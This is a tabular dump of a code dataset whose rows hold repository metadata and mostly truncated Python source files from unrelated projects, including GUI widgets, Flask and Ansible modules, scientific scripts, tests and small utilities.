hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
0bff0b695b53722f6a1ab05a66433ddd3b4ba6f9
172
py
Python
pyScript/custom_src/VyMain_DetailsWidget.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
pyScript/custom_src/VyMain_DetailsWidget.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
pyScript/custom_src/VyMain_DetailsWidget.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
from custom_src.DetailsWidget import DetailsWidget class VyMain_DetailsWidget(DetailsWidget): def __init__(self): super(VyMain_DetailsWidget, self).__init__()
28.666667
52
0.790698
0b0435abe07646aad55b4831a1bf4dd9ff325a6a
2,523
py
Python
src/lecture4/test_bp/test_bp.py
Fassial/zju-intern
f421f9c97d3c567e9b97121c5bf5c675c9e2c721
[ "MIT" ]
1
2020-08-17T07:09:09.000Z
2020-08-17T07:09:09.000Z
src/lecture4/test_bp/test_bp.py
Fassial/zju-intern
f421f9c97d3c567e9b97121c5bf5c675c9e2c721
[ "MIT" ]
null
null
null
src/lecture4/test_bp/test_bp.py
Fassial/zju-intern
f421f9c97d3c567e9b97121c5bf5c675c9e2c721
[ "MIT" ]
2
2020-07-26T07:27:57.000Z
2020-08-17T07:09:15.000Z
import sys #local dep import sys import numpy as np sys.path.append("..") from load_data import load_data from ROC_plot.draw_plot import draw_roc_plot from bp_network.bp_without_theano import MLP class testBp(object): def get_score(self,prob_list): score = [] for p in prob_list: score.a...
25.744898
81
0.544193
0b1b08f16ff79a8c480e07cf0109d27754e4e313
6,200
py
Python
Utils/py/ConfigViewer/ConfigViewerWidget.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
Utils/py/ConfigViewer/ConfigViewerWidget.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
Utils/py/ConfigViewer/ConfigViewerWidget.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
import glob, json, collections, re, zipfile import os, configparser, tarfile from PyQt5.QtCore import Qt from PyQt5.QtGui import QStandardItemModel, QStandardItem, QFont import Config import ConfigViewerUi from PyQt5.QtWidgets import QWidget, QStyle class Widget(QWidget): def __init__(self, config:str): ...
34.444444
99
0.615161
accba07ca4c773b06f031ba3109b5ed965df77af
22,064
py
Python
pyLS/pyLineScan.py
swharden/ROI-Analysis-Pipeline
e83d96c43fdd50cb44be365289e964576492617e
[ "MIT" ]
4
2017-06-20T19:56:22.000Z
2021-05-29T10:07:47.000Z
pyLS/pyLineScan.py
swharden/ROI-Analysis-Pipeline
e83d96c43fdd50cb44be365289e964576492617e
[ "MIT" ]
11
2017-05-31T19:14:32.000Z
2018-09-12T23:44:11.000Z
pyLS/pyLineScan.py
swharden/ROI-Analysis-Pipeline
e83d96c43fdd50cb44be365289e964576492617e
[ "MIT" ]
2
2017-06-20T17:14:38.000Z
2017-06-20T19:51:34.000Z
# pyLineScan is a package to aid analysis of two-photon linescans import numpy as np import scipy.ndimage as ndimage #import matplotlib import matplotlib.pyplot as plt import os import glob import datetime from PIL import Image from PIL import ImageEnhance import webbrowser import sys ALPHA=.5 DELTA=r'$\Delta$' COLOR...
43.009747
122
0.607823
4f4954e22f963eda178e92efe70223d6da9a479a
7,639
py
Python
train_ns_gsovspgso.py
gdasoulas/PGSO
0fa02c626c9c9cf7e046f11ccbfd3bd6dc329a8d
[ "MIT" ]
1
2022-03-08T15:23:26.000Z
2022-03-08T15:23:26.000Z
train_ns_gsovspgso.py
gdasoulas/PGSO
0fa02c626c9c9cf7e046f11ccbfd3bd6dc329a8d
[ "MIT" ]
null
null
null
train_ns_gsovspgso.py
gdasoulas/PGSO
0fa02c626c9c9cf7e046f11ccbfd3bd6dc329a8d
[ "MIT" ]
null
null
null
from __future__ import division from __future__ import print_function import time import argparse import numpy as np import os.path as osp import torch import torch.nn.functional as F import torch.optim as optim from utils import load_data, load_data_old, accuracy, condition_number from models.conv import G...
40.205263
113
0.591177
4fe7b3ff1ffe53379e2506c3c8dafe8ce37c35ab
4,508
py
Python
rnpflow_test/simu_new.py
YoshimitsuMatsutaIe/hoge_flow_test
22e2e2ce043a3107bd06449f6f9958641293e414
[ "MIT" ]
null
null
null
rnpflow_test/simu_new.py
YoshimitsuMatsutaIe/hoge_flow_test
22e2e2ce043a3107bd06449f6f9958641293e414
[ "MIT" ]
null
null
null
rnpflow_test/simu_new.py
YoshimitsuMatsutaIe/hoge_flow_test
22e2e2ce043a3107bd06449f6f9958641293e414
[ "MIT" ]
null
null
null
"""中間発表終わったので心機一転""" import numpy as np from scipy.integrate import solve_ivp from math import cos, sin, tan, pi #import itertools #import csv import matplotlib.pyplot as plt import matplotlib.animation as anm from mpl_toolkits.mplot3d import Axes3D #import matplotlib.patches as patches import time ...
24.63388
111
0.498669
8c8dce400d350712509d8cd7525d772ab70f48c4
6,405
py
Python
web/controllers/member/Member.py
yao6891/FlaskOrdering
cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807
[ "Apache-2.0" ]
2
2019-06-10T08:57:47.000Z
2021-06-12T16:22:15.000Z
web/controllers/member/Member.py
yao6891/FlaskOrdering
cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807
[ "Apache-2.0" ]
null
null
null
web/controllers/member/Member.py
yao6891/FlaskOrdering
cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- from flask import Blueprint, request, redirect, jsonify from common.libs.Helper import ops_render, i_pagination, get_current_date, get_dict_filter_field, select_filter_obj from common.libs.UrlManager import UrlManager from common.models.member.Member import Member from common.models.member.Membe...
31.865672
115
0.608119
8ca3543d685a334ca5bdccc0f00af051ff082e20
1,081
py
Python
books/PythonAutomate/webscrap/download_xkcd.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/webscrap/download_xkcd.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/webscrap/download_xkcd.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
"""download_xkcd.py XKCD 페이지의 이미지 다운로드 """ import os import bs4 import requests url = "https://xkcd.com" os.makedirs('xkcd', exist_ok=True) while not url.endswith("#"): # Download the page print(f"Downloading page {url}") res = requests.get(url) res.raise_for_status() soup = bs4.BeautifulSoup(re...
25.139535
82
0.619796
507d68425293ac00be6a55ec906a98cebedcb4b4
13,660
py
Python
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/onyx_syslog_remote.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/onyx_syslog_remote.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/onyx_syslog_remote.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
#!/usr/bin/python # # Copyright: Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], ...
39.028571
148
0.589312
e8539d1183ff104ae5567cd3033c191e524604b6
10,019
py
Python
Packs/Base/Scripts/CreateIndicatorRelationship/CreateIndicatorRelationship_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/Base/Scripts/CreateIndicatorRelationship/CreateIndicatorRelationship_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/Base/Scripts/CreateIndicatorRelationship/CreateIndicatorRelationship_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import CommonServerPython def test_validate_arguments(mocker): """ Test that all the error occur in each scenario. Given: - a collection of arguments to the validate args function When: - each arg collection should result in a different error Then: - check that the corresponding erro...
37.384328
120
0.648468
ad1b5124c40af115ce348a154284f01c0168393f
654
py
Python
flogger/migrations/versions/0c7251591b25_.py
jcromerohdz/FlaskDev
29539259cba3a0e18c205fb439ee916fb12e5318
[ "MIT" ]
null
null
null
flogger/migrations/versions/0c7251591b25_.py
jcromerohdz/FlaskDev
29539259cba3a0e18c205fb439ee916fb12e5318
[ "MIT" ]
null
null
null
flogger/migrations/versions/0c7251591b25_.py
jcromerohdz/FlaskDev
29539259cba3a0e18c205fb439ee916fb12e5318
[ "MIT" ]
null
null
null
"""empty message Revision ID: 0c7251591b25 Revises: 2766e0755a03 Create Date: 2019-05-24 11:00:09.650881 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '0c7251591b25' down_revision = '2766e0755a03' branch_labels = None depends_on = None def upgrade(): # ...
22.551724
82
0.689602
d15f78542811d5579ee675155dad53f8f6d465c3
502
py
Python
python/en/_numpy/organize_this/test_numpy.linspace_example_01.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
python/en/_numpy/organize_this/test_numpy.linspace_example_01.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
python/en/_numpy/organize_this/test_numpy.linspace_example_01.py
aimldl/coding
70ddbfaa454ab92fd072ee8dc614ecc330b34a70
[ "MIT" ]
null
null
null
""" test_numpy.linspace_example_01.py This is an example code for numpy.linspace https://docs.scipy.org/doc/numpy/reference/generated/numpy.linspace.html """ import numpy as np import matplotlib.pyplot as plt np.linspace(2.0,3.0, num=5) np.linspace(2.0,3.0, num=5, endpoint=False) np.linspace(2.0,3.0, num=5, retstep=...
22.818182
72
0.707171
0f80a0a18d3ee0fd17d9b38042e80f0fc90c88cb
69
py
Python
warp/workspace/__init__.py
j-helland/warp
2a71346f0ec4d4e6fd45ed3b5e972b683724287c
[ "Unlicense" ]
null
null
null
warp/workspace/__init__.py
j-helland/warp
2a71346f0ec4d4e6fd45ed3b5e972b683724287c
[ "Unlicense" ]
null
null
null
warp/workspace/__init__.py
j-helland/warp
2a71346f0ec4d4e6fd45ed3b5e972b683724287c
[ "Unlicense" ]
null
null
null
from .home import * from .workspace import * from . import build_pipe
23
24
0.768116
cb0f4d5c6258daacd04c207a009ce7a86aed8d3a
6,796
py
Python
repo/script.xtreameditor/addon.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
1
2017-11-26T18:18:46.000Z
2017-11-26T18:18:46.000Z
repo/script.xtreameditor/addon.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
null
null
null
repo/script.xtreameditor/addon.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
3
2019-09-30T19:52:05.000Z
2020-04-12T21:20:56.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- import sys import xbmc import urllib import urlparse import xbmcgui import xbmcplugin import xbmcaddon import random import string import json import os import ssl from urllib import FancyURLopener, urlencode addon = xbmcaddon.Addon() class MainWindow(xbmcgui.WindowXML): ...
28.919149
119
0.566215
cbc75b50e46c8b2740f7a570c8d953f1cc0b3bff
5,674
py
Python
tests/onegov/town6/test_views_event.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/town6/test_views_event.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/town6/test_views_event.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from datetime import date, timedelta import babel from tests.onegov.town6.common import step_class def test_event_steps(client): form_page = client.get('/events').click("Veranstaltung melden") start_date = date.today() + timedelta(days=1) end_date = start_date + timedelta(days=4) # Fill out event ...
36.140127
79
0.664963
1dd0cbb5a40e0a004b4969ac82b4701a4301eeb8
2,313
py
Python
tests/test_regionaleraufabschlag.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
tests/test_regionaleraufabschlag.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
tests/test_regionaleraufabschlag.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
import pytest # type:ignore[import] from bo4e.com.regionaleraufabschlag import RegionalerAufAbschlag, RegionalerAufAbschlagSchema from bo4e.com.tarifeinschraenkung import Tarifeinschraenkung from bo4e.enum.aufabschlagstyp import AufAbschlagstyp from bo4e.enum.aufabschlagsziel import AufAbschlagsziel from bo4e.enum.wa...
42.833333
98
0.775184
1dfb31e5d5ac3b11d85d975c5f1014bcf977876b
2,627
py
Python
sketches/maze02/maze.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
4
2018-06-03T02:11:46.000Z
2021-08-18T19:55:15.000Z
sketches/maze02/maze.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
null
null
null
sketches/maze02/maze.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
3
2019-12-23T19:12:51.000Z
2021-04-30T14:00:31.000Z
class Grid: def __init__(self, row, col, gsize): self.row = row self.col = col self.gsize = gsize self.walls = {} # top, left, bottom, right self.x = self.gsize*self.col self.y = self.gsize*self.row def connections(self): my_list = [] fo...
36.486111
105
0.558051
87ef47d9012f75e5d2f340cf1b389535e1cda3cc
43
py
Python
pages/extensions/jinja2_optimized_codehilite/__init__.py
ericandrewlewis/amp.dev
cf8e3d34a5582696ead97563c0809036804ab5c7
[ "Apache-2.0" ]
300
2015-12-09T20:35:37.000Z
2019-07-16T06:41:29.000Z
pages/extensions/jinja2_optimized_codehilite/__init__.py
ericandrewlewis/amp.dev
cf8e3d34a5582696ead97563c0809036804ab5c7
[ "Apache-2.0" ]
2,099
2019-07-16T13:24:27.000Z
2022-03-26T12:31:51.000Z
pages/extensions/jinja2_optimized_codehilite/__init__.py
ericandrewlewis/amp.dev
cf8e3d34a5582696ead97563c0809036804ab5c7
[ "Apache-2.0" ]
543
2019-07-18T09:06:14.000Z
2022-03-31T02:43:10.000Z
from .jinja2_optimized_codehilite import *
21.5
42
0.860465
e203bcfe7854c63779acbb0fd0b5b8eb66ad7924
499
py
Python
python/odml/examples/example_rdf_conversion.py
mpsonntag/snippets
fc3cc42ea49b885c1f29c0aef1379055a931a978
[ "BSD-3-Clause" ]
null
null
null
python/odml/examples/example_rdf_conversion.py
mpsonntag/snippets
fc3cc42ea49b885c1f29c0aef1379055a931a978
[ "BSD-3-Clause" ]
null
null
null
python/odml/examples/example_rdf_conversion.py
mpsonntag/snippets
fc3cc42ea49b885c1f29c0aef1379055a931a978
[ "BSD-3-Clause" ]
null
null
null
import os import odml.tools as oto wdir = "/home/msonntag/Chaos/work/x_odml/file_dump/conv" folder_v1_1 = os.path.join(wdir, "out") folder_rdf = os.path.join(wdir, "rdf") fname_short = os.path.join(folder_v1_1, "spikeLFP_metadata080707_short_v1.0.xml") frdf_short = os.path.join(folder_rdf, "spikeLFP_metadata080707_sh...
33.266667
81
0.777555
ea8856d7722a849b34aefdec2fba0d7ffab590dd
624
py
Python
Python/zzz_training_challenge/UdemyPythonPro/Chapter13_C_Python_Numba/1_numba/math_numba.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
4
2020-12-28T23:43:35.000Z
2022-01-01T18:34:18.000Z
Python/zzz_training_challenge/UdemyPythonPro/Chapter13_C_Python_Numba/1_numba/math_numba.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/UdemyPythonPro/Chapter13_C_Python_Numba/1_numba/math_numba.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
9
2020-09-26T19:29:28.000Z
2022-02-07T06:41:00.000Z
from typing import List from numba.pycc import CC import numpy as np cc = CC('math_numba') # cc.verbose = True @cc.export('add', '(i8[:], i8[:])') def add(a: List[int], b: List[int]): len_ = min(len(a), len(b)) result = np.zeros(shape=(len_,), dtype=np.int64) for i in range(len_): result[i] = a[...
22.285714
55
0.554487
aa1483f67961259728635c66a5bbd6367ee7d56d
4,862
py
Python
kicker_pong/Environment_Controller.py
GeorgJohn/kicker_pong_git
2263737cab1f74f324772855028f8a4c3b23c4de
[ "MIT" ]
null
null
null
kicker_pong/Environment_Controller.py
GeorgJohn/kicker_pong_git
2263737cab1f74f324772855028f8a4c3b23c4de
[ "MIT" ]
null
null
null
kicker_pong/Environment_Controller.py
GeorgJohn/kicker_pong_git
2263737cab1f74f324772855028f8a4c3b23c4de
[ "MIT" ]
null
null
null
import pygame import random from kicker_pong.Constant import * from kicker_pong.Simulation_View import View from kicker_pong.Kicker_Model import Kicker from kicker_pong.Ball_Model import Ball from kicker_pong.ComputerKeeper_Model import ComputerKeeper from kicker_pong.HumanKeeper_Model import HumanKeeper from kicker_po...
34
113
0.654463
aa1e84a6c488050e302e73245288bb2d71153de6
9,649
py
Python
tests/onegov/election_day/formats/election/test_parties.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/election_day/formats/election/test_parties.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/election_day/formats/election/test_parties.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
import tarfile from datetime import date from io import BytesIO import pytest from onegov.ballot import Election from onegov.ballot import ProporzElection from onegov.election_day.formats import import_party_results from tests.onegov.election_day.common import get_tar_file_path, print_errors def test_import_party_re...
28.717262
79
0.42222
a4af83f6264584465eb128dc5a50ab3f216709d0
1,411
py
Python
elements/python/8/13/soln.py
mmcloughlin/problems
6095842ffe007a12ec8c2093850515aa4e046616
[ "MIT" ]
11
2019-02-08T06:54:34.000Z
2021-08-07T18:57:39.000Z
elements/python/8/13/soln.py
mmcloughlin/problems
6095842ffe007a12ec8c2093850515aa4e046616
[ "MIT" ]
1
2019-05-21T08:14:10.000Z
2019-05-21T08:14:10.000Z
elements/python/8/13/soln.py
mmcloughlin/problems
6095842ffe007a12ec8c2093850515aa4e046616
[ "MIT" ]
null
null
null
class Node(object): def __init__(self, x, nxt): self.x = x self.next = nxt def ziplist(n): # find the middle m = n e = n while e is not None: e = e.next if e is None: break e = e.next m = m.next # end the first half m.next, m = N...
16.218391
55
0.484054
52066d7ce1a62051656201b52d509d5bdb469ed8
853
py
Python
internal/weights.py
Saeldur/sl-shadow-priest
a7b027506e52db8e7786ed9d67971adbba7389bd
[ "MIT" ]
null
null
null
internal/weights.py
Saeldur/sl-shadow-priest
a7b027506e52db8e7786ed9d67971adbba7389bd
[ "MIT" ]
null
null
null
internal/weights.py
Saeldur/sl-shadow-priest
a7b027506e52db8e7786ed9d67971adbba7389bd
[ "MIT" ]
null
null
null
"""weight dict definitions""" weights_castle_nathria = { 'pw_ba_1': 0.0200000, 'pw_sa_1': 0.0600000, 'pw_na_1': 0.2750000, 'lm_ba_1': 0.0000000, 'lm_sa_1': 0.0050000, 'lm_na_1': 0.1700000, 'hm_ba_1': 0.0000000, 'hm_sa_1': 0.0000000, 'hm_na_1': 0.0500000, 'pw_ba_2': 0.0400000, ...
22.447368
37
0.614302
5e46ed6529e34cbf38498ed41fe54c991b894208
538
py
Python
books/PythonAutomate/sending_mail_message/smtp_sample.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/sending_mail_message/smtp_sample.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/sending_mail_message/smtp_sample.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
"""smtp_sample.py smtplib를 사용한 메일 보내기 """ import smtplib from email.mime.text import MIMEText from settings import GMAIL_ID, GMAIL_PW # SSL 인증을 하는 SMTP 객체 생성 smtp_obj = smtplib.SMTP_SSL(host="smtp.gmail.com", port=465) # 로그인 하기 (235 - 정상코드) print(smtp_obj.login(GMAIL_ID, GMAIL_PW)) # 메일 보내기 - 한글은 MIMEText 객체를 이용해 변환...
23.391304
73
0.717472
5ed07d79ccd1db227a48ed5f381953e193a4f0cc
237
py
Python
WiSe-2122/Wiederholung/Gruppe-A/dict-wiederholung.py
jonasrdt/Wirtschaftsinformatik2
30d5d896808b98664c55cb6fbb3b30a7f1904d9f
[ "MIT" ]
1
2022-03-23T09:40:39.000Z
2022-03-23T09:40:39.000Z
WiSe-2122/Wiederholung/Gruppe-A/dict-wiederholung.py
jonasrdt/Wirtschaftsinformatik2
30d5d896808b98664c55cb6fbb3b30a7f1904d9f
[ "MIT" ]
null
null
null
WiSe-2122/Wiederholung/Gruppe-A/dict-wiederholung.py
jonasrdt/Wirtschaftsinformatik2
30d5d896808b98664c55cb6fbb3b30a7f1904d9f
[ "MIT" ]
null
null
null
einkaufsliste = {"Apfel": 0, "Birne": 3} if einkaufsliste["Brot"] > 0: print("Es stehen bereits", einkaufsliste["Apfel"], "Äpfel auf der Liste.") else: print("Es befindet sich noch kein Apfel auf der Liste.")
23.7
78
0.616034
d5a1d7062492f818ff2dde523a3e78af62bf7ad4
1,085
py
Python
books/PythonCleanCode/ch7_generator/generators_nested.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonCleanCode/ch7_generator/generators_nested.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonCleanCode/ch7_generator/generators_nested.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
"""Clean Code in Python - Chapter 07: Using generators > search nested """ from log import logger def search_nested_bad(array, desired_value): coords = None for i, row in enumerate(array): for j, cell in enumerate(row): if cell == desired_value: coords = (i, j)...
24.659091
61
0.568664
63492479eb9b22f8ec41a589916e6a59f87288be
616
py
Python
Code/WordFrequencies/main.py
miku/haw-di-bim-lv22
5e3dd1f7a1eb02ebbe5cc801bd8094618d6525e3
[ "MIT" ]
null
null
null
Code/WordFrequencies/main.py
miku/haw-di-bim-lv22
5e3dd1f7a1eb02ebbe5cc801bd8094618d6525e3
[ "MIT" ]
null
null
null
Code/WordFrequencies/main.py
miku/haw-di-bim-lv22
5e3dd1f7a1eb02ebbe5cc801bd8094618d6525e3
[ "MIT" ]
null
null
null
# Write a program that can print out the frequency of each word in a text file. import fileinput import collections import re freq = collections.Counter() def clean(token): token = token.lower() match = re.findall(r'\w+', token) if len(match) > 0: return match[0] for line in fileinpu...
21.241379
79
0.590909
986776d526f6f18464fd82f8f79d949cb5f75927
16,907
py
Python
hardware/chip/rtl872xd/release/auto_build_tool/genbin.py
ekmixon/AliOS-Things
00334295af8aa474d818724149726ca93da4645d
[ "Apache-2.0" ]
4,538
2017-10-20T05:19:03.000Z
2022-03-30T02:29:30.000Z
hardware/chip/rtl872xd/release/auto_build_tool/genbin.py
ekmixon/AliOS-Things
00334295af8aa474d818724149726ca93da4645d
[ "Apache-2.0" ]
1,088
2017-10-21T07:57:22.000Z
2022-03-31T08:15:49.000Z
hardware/chip/rtl872xd/release/auto_build_tool/genbin.py
willianchanlovegithub/AliOS-Things
637c0802cab667b872d3b97a121e18c66f256eab
[ "Apache-2.0" ]
1,860
2017-10-20T05:22:35.000Z
2022-03-27T10:54:14.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- #本文件位于\AliOS-Things\platform\mcu\haas1000\release\auto_build_tool文件夹下 #本文件用于适配python3.x版本,在3.7.3版本下测试通过。其他版本未测试。 #修改本文件的目的是解决3.x版本下,使用aos make命令编译固件时发生的两个错误 #第一个错误是“missing parentheses in call to 'print'” #第二个错误是“module ‘string’ has no attribute 'find'" #与阿里云提供的haashaa...
34.504082
100
0.605666
63f3f4a74e0805838ee6bfffa385e4b912920164
1,254
py
Python
Contrib-Inspur/openbmc/poky/bitbake/lib/toaster/tests/browser/test_js_unit_tests.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
5
2019-11-11T07:57:26.000Z
2022-03-28T08:26:53.000Z
Contrib-Inspur/openbmc/poky/bitbake/lib/toaster/tests/browser/test_js_unit_tests.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
3
2019-09-05T21:47:07.000Z
2019-09-17T18:10:45.000Z
Contrib-Inspur/openbmc/poky/bitbake/lib/toaster/tests/browser/test_js_unit_tests.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
11
2019-07-20T00:16:32.000Z
2022-01-11T14:17:48.000Z
#! /usr/bin/env python # # BitBake Toaster Implementation # # Copyright (C) 2013-2016 Intel Corporation # # SPDX-License-Identifier: GPL-2.0-only # """ Run the js unit tests """ from django.core.urlresolvers import reverse from tests.browser.selenium_helpers import SeleniumTestCase import logging logger = logging.ge...
27.26087
77
0.633971
c39338a3555c20c7a3c2cde2e152e90fb52c6962
2,896
py
Python
Packs/CommonScripts/Scripts/FilterByList/FilterByList.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/CommonScripts/Scripts/FilterByList/FilterByList.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/CommonScripts/Scripts/FilterByList/FilterByList.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import demistomock as demisto from CommonServerPython import * from CommonServerUserPython import * def empty_list_context(items, list_name): ec = {'List.In': [], 'List.NotIn': items} human_readable = 'The list ' + list_name + ' is empty' return human_readable, ec def build_filtered_data(lst, items, ig...
32.909091
110
0.625345
0d10ff0b5821ec7d3bdd4d272e2916b722c3df4c
441
py
Python
Tutorial_Passwortgenerator.py
Daykoo/Passwortgenerator
900116ed5d601c32201cfaed204c1738aec4b01c
[ "MIT" ]
null
null
null
Tutorial_Passwortgenerator.py
Daykoo/Passwortgenerator
900116ed5d601c32201cfaed204c1738aec4b01c
[ "MIT" ]
null
null
null
Tutorial_Passwortgenerator.py
Daykoo/Passwortgenerator
900116ed5d601c32201cfaed204c1738aec4b01c
[ "MIT" ]
null
null
null
from random import randrange import time import os os.popen("title Tutorial_Passwortgenerator") print("Dies ist ein Passwortgenerator!") time.sleep(4) rdm_1 = randrange(3, 6) rdm_2 = randrange(10) rdm_3 = randrange(2, 7) input_name = input("Gib hier deinen Namen ein: ") soz_1 = "!" soz_2 = "*" soz...
20.045455
91
0.666667
b49cad7adc14344a37ff916a0e1cd5a80108acc1
2,385
py
Python
